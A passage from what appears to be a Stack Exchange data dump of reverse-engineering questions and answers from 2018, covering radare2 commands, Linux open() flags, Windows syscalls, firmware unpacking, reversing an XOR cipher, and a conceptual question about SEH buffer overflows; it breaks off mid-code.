you.&lt;/p&gt;&#xA;" OwnerUserId="25010" LastActivityDate="2018-09-15T16:05:20.703" Title="General unpacking of packed malware" Tags="|malware|unpacking|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19350" PostTypeId="2" ParentId="19349" CreationDate="2018-09-15T16:05:20.703" Score="2" Body="&lt;p&gt;You actually have more than one option in this case: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;RE of sophisticated packer&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Wait for someone else to RE the sophisticated packer and publish the method/tool. Maybe ask in this community? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Ask the author of sophisticated packer to provide the unpacker [buy one?]&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Ask the author of packed program to provide it to you with no sophisticated packer applied.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hope it help :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;D.L. &lt;/p&gt;&#xA;" OwnerUserId="1334" LastActivityDate="2018-09-15T16:05:20.703" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19352" PostTypeId="1" AcceptedAnswerId="19354" CreationDate="2018-09-15T19:40:04.530" Score="0" ViewCount="1620" Body="&lt;p&gt;Assuming I have a syscall to &lt;code&gt;open&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;man 2 open&lt;/code&gt; gives me info, that it requires 2 or 3 parameters &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int open(const char *pathname, int flags);&#xA;int open(const char *pathname, int flags, mode_t mode);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, my code runs and In my registers I have &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$rdi = 0x00007fffffffdb40 → &quot;/etc/init.d/&quot;,&#xA;$rsi = 0x0000000000000241,&#xA;$rdx = 0x00000000000001c9&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How and which flags is it using during the call? How will the dir (or file) be opened?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I am looking at the man page. The possible flags are mentioned, but not their bit/value/integer being set by &lt;code&gt;|&lt;/code&gt;'ing the flags together in source code.&lt;/li&gt;&#xA;&lt;li&gt;I continue at the man page and see above the header files, which define the constants. In this case I'd need to &lt;code&gt;#include &amp;lt;sys/types.h&amp;gt; &amp;lt;sys/stat.h&amp;gt; &amp;lt;fcntl.h&amp;gt;&lt;/code&gt;. However, in this files, I cannot find bits or integers, which &lt;code&gt;sum&lt;/code&gt; or &lt;code&gt;|&lt;/code&gt; up to the given flags (&lt;code&gt;$rsi = 0x241&lt;/code&gt;, &lt;code&gt;577&lt;/code&gt; in decimal, &lt;code&gt;1001000001&lt;/code&gt; in binary) I cannot see any pattern.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Question: Do I oversee something? Do I need to look somewhere else? Where are those bits described?&lt;/p&gt;&#xA;" OwnerUserId="24937" LastActivityDate="2018-09-16T01:59:33.697" Title="How to get meaning of flags by integer" Tags="|compilers|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19354" PostTypeId="2" ParentId="19352" CreationDate="2018-09-16T01:59:33.697" Score="4" Body="&lt;p&gt;The flags are constants drawn from here:&#xA;&lt;a href=&quot;https://github.com/torvalds/linux/blob/master/tools/include/uapi/asm-generic/fcntl.h&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/torvalds/linux/blob/master/tools/include/uapi/asm-generic/fcntl.h&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They &lt;em&gt;can&lt;/em&gt; change but very rarely. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Applying this we can see that &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;0x241 == O_WRONLY | O_CREAT | O_TRUNC&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="25462" LastActivityDate="2018-09-16T01:59:33.697" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19355" PostTypeId="2" ParentId="19344" CreationDate="2018-09-16T02:13:45.227" Score="4" Body="&lt;p&gt;Very often functions like this will be listed within a &lt;code&gt;vtable&lt;/code&gt;. This is where, within a language like &lt;code&gt;C++&lt;/code&gt;, class objects can inherit functions and variables from other class objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If &lt;code&gt;class A&lt;/code&gt;, the parent class, implements a function &lt;code&gt;getCount&lt;/code&gt;, &lt;code&gt;class B&lt;/code&gt; can inherit from this class and change the return value of that function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Very often, developers will implement a generic method in the parent class, expecting derived classes to implement a more functional body.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example of this can be seen in the &lt;code&gt;tinyxml&lt;/code&gt; C++ library. Most classes derive from a main &lt;code&gt;XmlNode&lt;/code&gt; class, which implements several methods for casting to the correct type. Within the parent, each &lt;code&gt;To_XXX&lt;/code&gt; function simply returns a null pointer. Each derived class overrides one of those methods to return a real pointer to itself.&lt;/p&gt;&#xA;" OwnerUserId="25311" LastActivityDate="2018-09-16T02:13:45.227" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19356" PostTypeId="1" CreationDate="2018-09-16T12:38:40.100" Score="1" ViewCount="5701" Body="&lt;p&gt;Lets suppose I have a memory address. This address points to an instruction.&#xA;This instruction is inside a function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to ask radare2 to search the beginning of this function, given the memory address of the instruction ?&lt;/p&gt;&#xA;" OwnerUserId="18590" LastEditorUserId="53" LastEditDate="2018-09-17T05:41:48.863" LastActivityDate="2018-09-17T05:41:48.863" Title="Get function from memory address with radare2" Tags="|radare2|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19357" PostTypeId="1" CreationDate="2018-09-16T12:40:15.987" Score="1" ViewCount="2961" Body="&lt;p&gt;The &lt;code&gt;pdf&lt;/code&gt; command is able to disassemble a function in radare2. Is there a way to disassemble all functions of a binary in a single radare2 command ?&lt;/p&gt;&#xA;" OwnerUserId="18590" LastEditorUserId="53" LastEditDate="2018-09-17T05:42:45.433" LastActivityDate="2018-09-17T05:42:45.433" Title="Disassemble all functions with radare2" Tags="|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19358" PostTypeId="1" CreationDate="2018-09-16T12:45:46.173" Score="0" ViewCount="362" Body="&lt;p&gt;Let's have a look to this assembly code in radare2:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xxxxxxx  mov rax,rbx&#xA;xxxxxxx  add rax,rax&#xA;xxxxxxx  add rax,rbx&#xA;xxxxxxx  shl rax,2&#xA;yyyyyyy  nop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to ask radare2 to evaluate &lt;code&gt;rax&lt;/code&gt; value at &lt;code&gt;yyyyyy&lt;/code&gt; address ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want radare2 to say: &lt;code&gt;rax=rbx*6&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="18590" LastEditorUserId="53" LastEditDate="2018-09-25T20:32:56.783" LastActivityDate="2021-02-01T06:02:00.160" Title="Symbolic simplifications in radare2" Tags="|radare2|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19359" PostTypeId="1" CreationDate="2018-09-16T13:19:15.527" Score="-1" ViewCount="489" Body="&lt;p&gt;I'm trying to create the algoritm to produce the actual checksum byte (D0) in a vehicle 11-bit CAN bus message, where all values are known by scanning the current bus (which I'm trying to replicate with other values, but I cant find the mathematical relation between data and checksum byte).&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here are the sample data (in hex): &lt;br /&gt;&#xA;&lt;strong&gt;D0    D1  D2  D3  D4  D5  D6  D7&lt;/strong&gt; &lt;br/&gt;&#xA;9F  70  FC  70  FC  0D  0F  00 &lt;br/&gt;&#xA;A9  7A  FC  70  FC  0D  0F  00 &lt;br/&gt;&#xA;AA  7B  FC  70  FC  0D  0F  00 &lt;br/&gt;&#xA;AB  7C  FC  70  FC  0D  0F  00 &lt;br/&gt;&#xA;AB  7C  FC  70  FC  0D  0F  00 &lt;br/&gt;&#xA;0D  7D  FC  70  FC  0D  0F  60 &lt;br/&gt;&#xA;0E  7E  FC  70  FC  0D  0F  60 &lt;br/&gt;&#xA;09  79  FC  70  FC  0D  0F  60 &lt;br/&gt;&#xA;0A  7A  FC  70  FC  0D  0F  60 &lt;br/&gt;&#xA;0B  7B  FC  70  FC  0D  0F  60 &lt;br/&gt;&lt;br /&gt;&#xA;Some more data with the same checksum(0xFF) at D0:&lt;br /&gt;&#xA;&lt;strong&gt;D0    D1  D2  D3  D4  D5  D6  D7&lt;/strong&gt; &lt;br/&gt;&#xA;FF  70  FC  70  FC  0D  0F  60 &lt;br/&gt;&#xA;FF  74  F9  70  F9  0D  0F  62 &lt;br/&gt;&#xA;FF  17  01  20  01  0D  0F  02 &lt;br/&gt;&#xA;FF  AE  0D  70  0D  0D  0F  02 &lt;br/&gt;&#xA;FF  13  13  0   13  0D  0F  02 &lt;br/&gt;&#xA;FF  B8  10  60  10  0D  0F  02 &lt;br/&gt;&#xA;FF  56  11  C0  11  0D  0F  02 &lt;br/&gt;&#xA;FF  0D  2D  D0  2E  0D  0F  02 &lt;br/&gt;&lt;br /&gt;&#xA;Some more with another known and same checksum (0x16):&lt;br /&gt;&#xA;&lt;strong&gt;D0    D1  D2  D3  D4  D5  D6  D7&lt;/strong&gt; &lt;br/&gt;&#xA;16  7E  FF  70  FF  0D  0F  62 &lt;br/&gt;&#xA;16  7E  FF  70  FF  0D  0F  62 &lt;br/&gt;&#xA;16  F0  03  50  0B  0D  0F  02 &lt;br/&gt;&#xA;16  78  13  B0  13  0D  0F  02 &lt;br/&gt;&#xA;16  F9  2E  00  27  0D  0F  02 &lt;br/&gt;&#xA;16  EE  FF  60  FF  0D  0F  02 &lt;br/&gt; &lt;br/&gt; &lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;D0 = checksum &lt;br/&gt;&#xA;D1,D2,D3,D4 = torque values (critical) &lt;br/&gt;&#xA;D5 = Engine coolant temp &lt;br/&gt;&#xA;D6,D7 = No important engine data &lt;br/&gt; &lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone?&lt;/p&gt;&#xA;" OwnerUserId="25667" LastActivityDate="2018-10-26T13:54:42.110" Title="How to calculate checksum from known data?" Tags="|crc|" AnswerCount="1" CommentCount="4" ClosedDate="2018-10-29T09:11:10.673" ContentLicense="CC BY-SA 4.0" />
  <row Id="19360" PostTypeId="2" ParentId="19357" CreationDate="2018-09-16T16:00:28.740" Score="2" Body="&lt;p&gt;You can iterate over functions (or anything else) using &lt;code&gt;@@&lt;/code&gt; command modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, after you analyze the binary to get functions, you can run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pdf @@ fcn*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This command will print the disassembly of every function iterating over function's flags starting with &lt;em&gt;fcn&lt;/em&gt;. You can use any other wildcard you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also want to check out &lt;code&gt;pdr&lt;/code&gt; (&lt;code&gt;pdr.&lt;/code&gt;) command, which prints disassembly recursively across the function graph (form current basic block)&lt;/p&gt;&#xA;" OwnerUserId="25642" LastActivityDate="2018-09-16T16:00:28.740" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19361" PostTypeId="2" ParentId="19356" CreationDate="2018-09-16T16:27:18.227" Score="2" Body="&lt;p&gt;Yes, you can do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are seeked on a given memory address you can get the current function where you are with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;afi.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now if you want to seek to the beginning of the function you can make it with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;s `afi.`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you just want to get the address of the beginning of the function but don't want to seek into it, just use the temporary modifier &lt;code&gt;@&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;s @ `afi.`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will return the memory address where the function is located.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course you can get that information on any memory address without having to be seeked by using again the &lt;code&gt;@&lt;/code&gt; modifier.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;s @ `afi. @ 0x????????`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where 0x???????? is any memory address you want to know where the function it is contained in begins. This approach can be pretty useful while scripting with r2pipe, for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: backticks are used to get as input the output of command between them.&lt;/p&gt;&#xA;" OwnerUserId="25642" LastActivityDate="2018-09-16T16:27:18.227" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19362" PostTypeId="2" ParentId="19356" CreationDate="2018-09-16T17:44:16.897" Score="2" Body="&lt;p&gt;You need to go the address by using the &lt;code&gt;s addr&lt;/code&gt; command but after that, you can just use a shorthand to going to the beginning of the function you are in. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just type: &lt;code&gt;sf.&lt;/code&gt; to get to the beginning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just refer to the help if needed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; s?&#xA;Usage: s    # Help for the seek commands. See ?$? to see all variables&#xA;&#xA;| s addr            Seek to address&#xA;...&#xA;| sf.               Seek to the beginning of current function&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also combine the two commands with &lt;code&gt;;&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;s 0x100001238; sf.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18014" LastEditorUserId="18014" LastEditDate="2018-09-16T17:59:42.753" LastActivityDate="2018-09-16T17:59:42.753" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19363" PostTypeId="1" CreationDate="2018-09-16T18:01:51.907" Score="1" ViewCount="202" Body="&lt;p&gt;I am disassembling a binary with radare2 and I see some lines like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|  0x004007f1   488b05981820.  mov rax, qword [0x00602090] ; 0x602090:8]=0x400c60&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I do not understand, what are the addresses &lt;code&gt;0x00602090&lt;/code&gt; or &lt;code&gt;0x400c60&lt;/code&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the differences between the two ?&lt;/p&gt;&#xA;" OwnerUserId="18590" LastEditorUserId="53" LastEditDate="2018-09-17T05:35:10.607" LastActivityDate="2018-09-17T06:12:43.107" Title="Addresses displayed in radare2" Tags="|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19364" PostTypeId="1" AcceptedAnswerId="19373" CreationDate="2018-09-16T18:46:51.097" Score="3" ViewCount="349" Body="&lt;p&gt;I have this java function that decode 8bytes text string(encoded as int[]):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static int[] decode(int[] text, int[] key) {&#xA;   int j = 0x3c; //value 60 in decimal&#xA;   int i = 0x33; //value 51 in decimal&#xA;   int[] result;&#xA;&#xA;   for ( i = 0x33; ; (text[1]) ^= ((key[j]) ^ (text[4])) + i ){&#xA;       j = j - 1;&#xA;       text[7] ^= ((key[j--]) ^ (text[3])) + i;&#xA;       text[6] ^= ((key[j--]) ^ (text[2])) + i;&#xA;       text[5] ^= ((key[j]) ^ (text[1])) + i;&#xA;       j = j - 1;&#xA;       result = text;&#xA;       (text[4]) ^= ((key[j]) ^ text[0]) + i;&#xA;       if ( j &amp;lt;= 0 )&#xA;           break;&#xA;       j = j - 1;&#xA;       text[0] ^= ((key[j--]) ^ (text[7])) + i;&#xA;       text[3] ^= ((key[j]) ^ (text[6])) + i;&#xA;       text[2] ^= ((text[4]) ^ (text[5])) + i;&#xA;       j = j - 1;&#xA;       //System.out.println(&quot;i &quot; +i+&quot; - j &quot;+j);&#xA;   }&#xA;return result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but if I wanted to do the reverse, how can build the encode function? how do I build the inverse method(from decoded text to encode text)?&lt;/p&gt;&#xA;" OwnerUserId="25679" LastActivityDate="2018-09-18T04:01:47.187" Title="Help reverse decrypt function (decode -&gt; encode)" Tags="|decryption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19365" PostTypeId="1" AcceptedAnswerId="19439" CreationDate="2018-09-16T21:12:20.610" Score="1" ViewCount="899" Body="&lt;p&gt;Is there a way to kill/abort the thread/process from a hook (let's say the &lt;code&gt;onLeave&lt;/code&gt; hook) in frida-trace?&#xA;If &quot;yes&quot;, how?&lt;/p&gt;&#xA;" OwnerUserId="17617" LastActivityDate="2018-09-24T16:55:13.150" Title="Killing thread/process from Frida trace" Tags="|frida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19366" PostTypeId="2" ParentId="19363" CreationDate="2018-09-17T03:44:29.867" Score="4" Body="&lt;p&gt;The difference is that the first address, &lt;code&gt;0x00602090&lt;/code&gt; is the location from where the value will be loaded into the &lt;code&gt;rax&lt;/code&gt; register. The second one, &lt;code&gt;0x400c60&lt;/code&gt; is what is located in that memory location. r2 is giving you hints about the actual result might be in the comments. It also informs you that 8 byte will be used for the operation with the &lt;code&gt;:8&lt;/code&gt; suffix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it looks like that at address &lt;code&gt;0x602090&lt;/code&gt; there's a 8-byte value stored that constitutes as an address &lt;code&gt;0x400c60&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastEditorUserId="18014" LastEditDate="2018-09-17T06:12:43.107" LastActivityDate="2018-09-17T06:12:43.107" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19367" PostTypeId="1" CreationDate="2018-09-17T07:47:45.773" Score="0" ViewCount="269" Body="&lt;p&gt;For analyzing firmware , I want to unpack the following firmware:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.inmarsat.com/wp-content/uploads/2015/02/Explorer_100_110_V2-11-3.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.inmarsat.com/wp-content/uploads/2015/02/Explorer_100_110_V2-11-3.zip&lt;/a&gt;&#xA;After unzip, I've got file named &quot;N03_A_E_D_02_11_03.APP&quot;. Firstly, I want to unpack this file and then analyze it.&#xA;I've tried some extractors, But It didn't work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any tools for unpacking and analyzing this file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="25686" LastEditorUserId="25686" LastEditDate="2018-09-17T10:02:18.007" LastActivityDate="2018-11-01T03:14:17.017" Title=".app file firmware unpacking" Tags="|firmware|unpacking|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="19369" PostTypeId="1" CreationDate="2018-09-17T11:27:04.093" Score="3" ViewCount="2476" Body="&lt;p&gt;I am begginer in RE and also in Win NT world.&#xA;I used IDA to disassemble ntdll.dll from Win XP SP 3. I care about non oficially documented function NtCreatePort which creates LPC port. I would find out how it work under the cover.&#xA;So ntdll.dll exports NtCreatePort and I can find this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; mov     eax, 2Eh&#xA; mov     edx, 7FFE0300h&#xA; call    dword ptr [edx]&#xA; retn    14h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I think that function on address &lt;code&gt;7FFE0300h&lt;/code&gt; is called. &#xA;The first problem: I do not know where to find it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But from literature I found out that function &lt;code&gt;KiFastSystemCall&lt;/code&gt; should be called, correct? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; mov edx, esp&#xA; sysenter&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would think that syscall &lt;code&gt;2Eh&lt;/code&gt; could be called. But where to find it? I am quite stucked and I do not know how to continue with tracking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks you all! Btw I would appraciate if you recommend me a literature of this topic.&lt;/p&gt;&#xA;" OwnerUserId="25689" LastActivityDate="2018-09-17T22:34:03.573" Title="Syscall from ntdll.dll" Tags="|windows|dll|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19370" PostTypeId="2" ParentId="19369" CreationDate="2018-09-17T11:38:55.943" Score="0" Body="&lt;p&gt;&lt;strong&gt;First question:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;in your example you right - &lt;code&gt;KiFastSystemCall()&lt;/code&gt; is called. &lt;code&gt;7FFE0300h&lt;/code&gt; is pointer to it on non-ASLR systems.&lt;br&gt;&#xA;In windbg, you can look at it like this: &lt;code&gt;uf poi(7ffe0300)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Second question:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where to find &lt;code&gt;int 2E&lt;/code&gt; - in older Windows versions -  Windows 2k and earlier.  In Windows XP mechanism has changed, and the new one is exactly what you see in your IDA. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that this relevant to x86 machines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More details:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://opcode0x90.wordpress.com/2007/05/18/kifastsystemcall-hook/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://opcode0x90.wordpress.com/2007/05/18/kifastsystemcall-hook/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.evilsocket.net/2014/02/11/on-windows-syscall-mechanism-and-syscall-numbers-extraction-methods/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.evilsocket.net/2014/02/11/on-windows-syscall-mechanism-and-syscall-numbers-extraction-methods/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.codemachine.com/article_syscall.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.codemachine.com/article_syscall.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1334" LastEditorUserId="2147" LastEditDate="2018-09-17T22:33:12.160" LastActivityDate="2018-09-17T22:33:12.160" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19371" PostTypeId="2" ParentId="19367" CreationDate="2018-09-17T12:22:25.630" Score="1" Body="&lt;p&gt;There's ARM Little endian code which starts at offset 0x8466 which seems to be a ZIP archiver code. Then from offset 0x295DF up till the end of the file, there's zlib packed block of data. After unpacking it you get a binary firmware file ~43mb, with ARM little endian code. &lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-09-17T12:22:25.630" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19372" PostTypeId="1" AcceptedAnswerId="19377" CreationDate="2018-09-17T12:24:26.903" Score="7" ViewCount="1152" Body="&lt;p&gt;In our course in university, we recently moved on from standard buffer-overflows to SEH based ones.&lt;/p&gt;&#xA;&lt;p&gt;My exploit is already ready and working thanks to some nice tutorials, although I am still not sure I completely understand, when and why we need the SEH buffer-overflow.&lt;/p&gt;&#xA;&lt;p&gt;My understanding so far is that, if there are no explicit exception handlers in the source code, every thread will get an automatic one, specific handlers will be there additionally.&lt;/p&gt;&#xA;&lt;p&gt;For programs, which are vulnerable to SEH BOF a buffer-overflow will cause the e.g. Immunity debugger to pause the program at an exception. Only after the exception is passed to the program the &lt;code&gt;EIP&lt;/code&gt; register is overwritten with the malicious buffer.&lt;/p&gt;&#xA;&lt;h2&gt;Question 1:&lt;/h2&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Why does this not happen for every program then since there should be an automatic exception handler in any case?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;After passing the exception &lt;code&gt;EIP&lt;/code&gt; and &lt;code&gt;ESP&lt;/code&gt; are overwritten, with values from my buffer, yet other registers are zeroed out (&lt;code&gt;EAX&lt;/code&gt;, &lt;code&gt;EBX&lt;/code&gt;, &lt;code&gt;ESI&lt;/code&gt; &amp;amp; &lt;code&gt;EDI&lt;/code&gt; in my example). So I can control &lt;code&gt;EIP&lt;/code&gt; and &lt;code&gt;ESP&lt;/code&gt;, but the tutorials mention that it is useless, due to the zeroed out registers.&#xA;However, they never explain why the zeroed out registers are the problem - so here is my second lack of understanding.&lt;/p&gt;&#xA;&lt;h2&gt;Question 2:&lt;/h2&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;What exactly is the deal with the zeroed out registers and why would they break shellcode execution?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Now we also overwrite the NSEH and SEH records and using a pattern can figure out the exact offset to overwrite those. Then comes the magic with referencing some module which has &lt;code&gt;POP POP RET&lt;/code&gt; to get to &lt;code&gt;ESP + 8&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Plus eventually yet another jump.&lt;/p&gt;&#xA;&lt;h2&gt;Question 3:&lt;/h2&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Why do I need POP POP RET and the final jump?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;I have the exploit working and can hand it in like this, yet it feels very unsatisfactory and pointless without actually understanding what is going on.&#xA;I only started working with low level stuff recently and still have a lot to learn, so I am very thankful for every help.&lt;/p&gt;&#xA;" OwnerUserId="25690" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2018-09-18T05:16:16.763" Title="WHY and WHEN do we need SEH for buffer overflowing" Tags="|windows|x86|immunity-debugger|buffer-overflow|seh|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19373" PostTypeId="2" ParentId="19364" CreationDate="2018-09-17T19:28:12.703" Score="4" Body="&lt;p&gt;For&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a = b ^ c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since the XOR operation is trivial to reverse when any 2 values in a, b, c are known, this will only require you to just reverse the order in which operations were done. I had to do this in C since I don't use Java.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int *encode(int *text, int *key) {&#xA;  int j = 0x0;&#xA;  int i = 0x33; // value 51 in decimal&#xA;&#xA;  for (i = 0x33;;) {&#xA;    text[4] ^= ((key[j++]) ^ (text[0])) + i;&#xA;    text[5] ^= ((key[j++]) ^ (text[1])) + i;&#xA;    text[6] ^= ((key[j++]) ^ (text[2])) + i;&#xA;    text[7] ^= ((key[j++]) ^ (text[3])) + i;&#xA;    text[1] ^= ((key[j++]) ^ (text[4])) + i;&#xA;    if (j &amp;gt;= 0x3c)&#xA;      break;&#xA;    text[2] ^= ((text[4]) ^ (text[5])) + i;&#xA;    text[3] ^= ((key[j++]) ^ (text[6])) + i;&#xA;    text[0] ^= ((key[j++]) ^ (text[7])) + i;&#xA;  }&#xA;  return text;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's the full code that works.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int *decode(int *text, int *key) {&#xA;  int j = 0x3c; // value 60 in decimal&#xA;  int i = 0x33; // value 51 in decimal&#xA;&#xA;  for (i = 0x33;;) {&#xA;    text[1] ^= ((key[j--]) ^ (text[4])) + i;&#xA;    text[7] ^= ((key[j--]) ^ (text[3])) + i;&#xA;    text[6] ^= ((key[j--]) ^ (text[2])) + i;&#xA;    text[5] ^= ((key[j--]) ^ (text[1])) + i;&#xA;    text[4] ^= ((key[j--]) ^ (text[0])) + i;&#xA;    if (j &amp;lt;= 0)&#xA;      break;&#xA;    text[0] ^= ((key[j--]) ^ (text[7])) + i;&#xA;    text[3] ^= ((key[j--]) ^ (text[6])) + i;&#xA;    text[2] ^= ((text[4]) ^ (text[5])) + i;&#xA;  }&#xA;  return text;&#xA;}&#xA;&#xA;int *encode(int *text, int *key) {&#xA;  int j = 0x0;&#xA;  int i = 